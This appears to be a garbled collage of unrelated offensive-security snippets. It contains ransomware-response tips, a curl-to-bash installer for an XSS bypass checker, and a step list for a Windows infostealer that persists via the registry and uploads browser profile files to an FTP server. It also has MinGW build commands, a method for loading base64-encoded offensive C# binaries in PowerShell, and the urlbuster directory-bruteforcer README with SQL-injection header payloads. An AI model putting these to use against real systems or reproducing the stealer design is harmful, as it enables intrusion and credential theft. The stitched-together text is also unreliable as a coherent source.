• Have cyber insurance to help cover costs in case you need to pay the ransom. Furthermore, get your insurance policies reviewed to make sure there are no holes.
  
• Take help from local feds for the decryption keys.
  

curl -L -s https://raw.githubusercontent.com/Jewel591/CheckXSS/master/docs/install.sh|bash

1. Support url encoding bypass
2. Support unicode encoding of HTML tag attribute value to bypass
3. Support HTML encoding to bypass the HTML tag attribute value
4. Support for flexible replacement of () '"to bypass
5. Case bypass

1. Copy itself into the %TMP% directory & name itself ursakta.exe
2. Add a registry entry to execute itself each time the user logs in
3. Verify which browser the user is using (Chrome, Firefox or Brave)
4. Search for files within the Chrome, Firefox, or Brave browser directories
5. Create a directory on our FTP server then send the files in the browser's directory to the FTP server

• sudo apt-get install mingw-w64

• x86_64-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

• i686-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

1. First of all clone each C# Repo.
2. Set the class and main methods public
3. For some projects i merged pull requests with new features or bug fixes or i had to remove environment.exit statements so that the whole powershell process is not killed for missing parameters and so on
4. Afterwards compiling each binary
5. Encode the compiled binary base64 and load it in powershell via [System.Reflection.Assembly]::Load([Convert]::FromBase64String()).

pip install urlbuster

• Proxy support
• Cookie support
• Basic Auth
• Digest Auth
• Retries (for slow servers)
• Persistent and non-persistent HTTP connection
• Request methods: GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS
• Custom HTTP header
• Mutate POST, PUT and PATCH payloads
• Mutate with different request methods
• Mutate with different HTTP headers
• Mutate with different file extensions
• Mutate with and without trailing slashes
• Enumerate GET parameter values

usage: urlbuster [options] -w <str>/-W <file> BASE_URL
       urlbuster -V, --help
       urlbuster -h, --version

URL bruteforcer to locate existing and/or hidden files or directories.

Similar to dirb or gobuster, but also allows to iterate over multiple HTTP request methods,
multiple useragents and multiple host header values.

positional arguments:
  BASE_URL              The base URL to scan.

required arguments:
  -w str, --word str    Word to use.
  -W f, --wordlist f    Path to wordlist to use.

optional global arguments:
  -n, --new             Use a new connection for every request.
                        If not specified persistent http connection will be used for all requests.
                        Note, using a new connection will decrease performance,
                           but ensure to have a clean state on every request.
                        A persistent connection on the other hand will use any additional cookie values
                        it has received from a previous request.
  -f, --follow          Follow redirects.
  -k, --insecure        Do not verify TLS certificates.
  -v, --verbose         Show also missed URLs.
  --code str [str ...]  HTTP status code to treat as success.
                        You can use a '.' (dot) as a wildcard.
                        Default: 2.. 3.. 403 407 411 426 429 500 505 511
  --payload p [p ...]   POST, PUT and PATCH payloads for all requests.
                        Note, multiple values are allowed for multiple payloads.
                        Note, if duplicates are specified, the last one will overwrite.
                        See --mpayload f   or mutations.
                        Format: <key>=<val> [<key>=<val>]
  --header h [h ...]    Custom http header string to add to all requests.
                        Note, multiple values are allowed for multiple headers.
                        Note, if duplicates are specified, the last one will overwrite.
                        See --mheaders for mutations.
                        Format: <key>:<val> [<key>:<val>]
  --cookie c [c ...]    Cookie string to add to all requests.
                        Format: <key>=<val> [<key>=<val>]
  --proxy str           Use a proxy for all requests.
                        Format: http://<host>:<port>
                        Format: http://<user>:<pass>@<host>:<port>
                        Format: https://<host>:<port>
                        Format: https://<user&gt   ;:<pass>@<host>:<port>
                        Format: socks5://<host>:<port>
                        Format: socks5://<user>:<pass>@<host>:<port>
  --auth-basic str      Use basic authentication for all requests.
                        Format: <user>:<pass>
  --auth-digest str     Use digest authentication for all requests.
                        Format: <user>:<pass>
  --timeout sec         Connection timeout in seconds for each request.
                        Default: 5.0
  --retry num           Connection retries per request.
                        Default: 3
  --delay sec           Delay between requests to not flood    the server.
  --output file         Output file to write results to.

optional mutating arguments:
  The following arguments will increase the total number of requests to be made by
  applying various mutations and testing each mutation on a separate request.

  --method m [m ...]    List of HTTP methods to test each request against.
                        Note, each supplied method will double the number of requests.
                        Supported methods: GET POST PUT DELETE PATCH HEAD OPTIONS
                        Default: GET
  --mpayload p [p ...]  POST, PUT and PATCH payloads to mutate all requests..
                        Note, multiple values are allowed for multiple payloads.
                        Format: <key>=<val> [<key>=<val>]
  --mheader h [h ...]   Custom http header string to add to mutate all requests.
                        Note, multiple values are allowed for multiple h   eaders.
                        Format: <key>:<val> [<key>:<val>]
  --ext ext [ext ...]   List of file extensions to to add to words for testing.
                        Note, each supplied extension will double the number of requests.
                        Format: .zip [.pem]
  --slash str           Append or omit a trailing slash to URLs to test.
                        Note, a slash will be added after the extensions if they are specified as well.
                        Note, using 'both' will double the number of requests.
                        Options: both, yes, no
                        Default: no

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information

examples

  urlbuster -W /path/to/words http://example.com/
  urlbuster -W /path/to/words http://example.com:8000/
  urlbuster -k -W /path/to/words https:/   /example.com:10000/

$ urlbuster \
  -W /usr/share/dirb/wordlists/common.txt \
  --mheader 'User-Agent:Googlebot/2.1 (+http://www.googlebot.com/bot.html)' \
  --method 'POST,GET,DELETE,PUT,PATCH' \
  http://www.domain.tld/

██╗   ██╗██████╗ ██╗     ██████╗ ██╗   ██╗███████╗████████╗███████╗██████╗
██║   ██║██╔══██╗██║     ██╔══██╗██║   ██║██╔════╝╚══██╔══╝██╔════╝██╔══██╗
██║   ██║██████╔╝██║     ██████╔╝██║   ██║███████╗   ██║   █████╗  ██████╔╝
██║   ██║██╔══██╗██║     ██╔══██╗██║   ██║╚════██║   ██║   ██╔══╝  ██╔══██╗
╚██████╔╝██║  ██║███████╗██████╔╝╚██████╔╝███████║   ██║   ███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝  ╚═════╝ ╚══════╝   ╚═╝   ╚══════╝╚═╝  ╚═╝

                               0.5.0 by cytopia

      SETTINGS
            Base URL:          https://www.everythingcli.org/
            Valid codes:       2.., 3.., 403, 407, 411, 426, 429, 500, 505, 511
            Connection:        Non-persistent
            Redirects:            Don't follow
            Payloads:          None
            Timeout:           5.0s
            Retries:           3
            Delay:             None

      MUTATIONS
            Mutating headers:  2
            Mutating payloads: 0 (POST)
            Methods:           5 (POST, GET, DELETE, PUT, PATCH)
            Slashes:           no
            Extensions:        1 (empty extension)
            Words:             4614

      TOTAL REQUESTS: 46140
      START TIME:     2020-01-29 08:52:12


--------------------------------------------------------------------------------
Connection:      keep-alive
Accept-Encoding: gzip, deflate
Accept:          */*
User-Agent:      python-requests/2.22.0

[301] [GET]      http://domain.tld/robots.txt

--------------------------------------------------------------------------------
Connection:      keep-alive
Accept-Encoding: gzip, d   eflate
Accept:          */*
User-Agent:      Googlebot/2.1 (+http://www.googlebot.com/bot.html)

[200] [GET]      http://domain.tld/robots.txt
[301] [POST]     http://domain.tld/robots.txt
[301] [GET]      http://domain.tld/robots.txt
[301] [DELETE]   http://domain.tld/robots.txt
[301] [PUT]      http://domain.tld/robots.txt
[301] [PATCH]    http://domain.tld/robots.txt

$ urlbuster \
  -W /path/to/wordlist.txt \
  http://www.domain.tld/

$ urlbuster \
  -W /path/to/wordlist.txt \
  --proxy 'http://localhost:8080' \
  http://www.domain.tld/

$ urlbuster \
  -W /path/to/wordlist.txt \
  --output out.txt \
  http://www.domain.tld/

$ urlbuster \
  -W /path/to/wordlist.txt \
  --auth-basic 'user:pass' \
  http://www.domain.tld/

$ urlbuster \
  -W /path/to/wordlist.txt \
  --cookie 'PHPSESSID=a79b00e7-035a-2bb4-352a-439d855feabf' \
  http://www.domain.tld/

$ urlbuster \
  -W /path/to/wordlist.txt \
  --code 200 301 302 \
  --ext .zip .tar .tar.gz .gz .rar \
  http://www.domain.tld/

$ urlbuster \
  -W /path/to/wordlist.txt \
  --code 200 301 302 \
  --ext .zip .tar .tar.gz .gz .rar \
  http://www.domain.tld/wp-content/

$ urlbuster \
  -W /path/to/wordlist.txt \
  --method GET \
  --code 200 301 302 \
  http://www.domain.tld/search?q=

$ urlbuster \
  -W /path/to/wordlist.txt \
  --code 200 301 302 \
  --method POST \
  --payload \
    'user=somename' \
    'pass=somepass' \
    'mail=some@mail.tld' \
    'submit=yes' \
  http://www.domain.tld/

$ urlbuster \
  -w index.php \
  --code 200 301 302 \
  --method POST \
  --mpayload \
    'user=somename1' \
    'user=somename2' \
    'user=somename3' \
    'pass=somepass1' \
    'pass=somepass2' \
    'pass=somepass3' \
    'mail=some@mail1.tld' \
    'mail=some@mail2.tld' \
    'mail=some@mail3.tld' \
    'submit=yes' \
  http://www.domain.tld/wp-admin/

$ urlbuster \
  -W /path/to/wordlist.txt \
  --code 5.. \
  --method GET POST \
  --mheader \
    "User-Agent: ;" \
    "User-Agent: ' or \"" \
    "User-Agent: -- or #" \
    "User-Agent: ' OR '1" \
    "User-Agent: ' OR 1 -- -" \
    "User-Agent: \" OR 1 = 1 -- -" \
    "User-Agent: '='" \
    "User-Agent: 'LIKE'" \
    "User-Agent: '=0--+" \
    "User-Agent:  OR 1=1" \
    "User-Agent: ' OR 'x'='x" \
    "User-Agent: ' AND id IS NULL; --" \
  http://www.domain.tld/

$ urlbuster \
  -w / \
  --method GET POST \
  --mheader \
    "Host: internal1.lan" \
    "Host: internal2.lan" \
    "Host: internal3.lan" \
    "Host: internal4.lan" \
    "Host: internal5.lan" \
    "Host: internal6.lan" \
  http://10.0.0.1